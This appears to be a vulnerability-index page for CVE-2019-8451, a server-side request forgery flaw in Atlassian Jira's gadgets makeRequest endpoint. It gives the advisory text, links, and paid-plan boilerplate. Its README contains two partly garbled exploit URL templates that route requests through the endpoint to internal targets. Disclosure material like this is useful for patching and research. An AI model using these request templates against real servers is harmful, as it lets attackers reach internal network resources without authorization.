CVE-2019-8451 PoC — Atlassian Jira 代码问题漏洞

Source

https://github.com/0xbug/CVE-2019-8451

Associated Vulnerability

Title: Atlassian Jira 代码问题漏洞 (CVE-2019-8451)
Description:The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.

Description

https://jira.atlassian.com/browse/JRASERVER-69793

Readme

# CVE-2019-8451
https://jira.atlassian.com/browse/JRASERVER-69793

```
http://host:port/plugins/servlet/gadgets/makeRequest?url=http://{}:{}@{}'.format(host, port, target)
https://host:port/plugins/servlet/gadgets/makeRequest?url=https://{}:{}@{}'.format(host, port, target)

```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →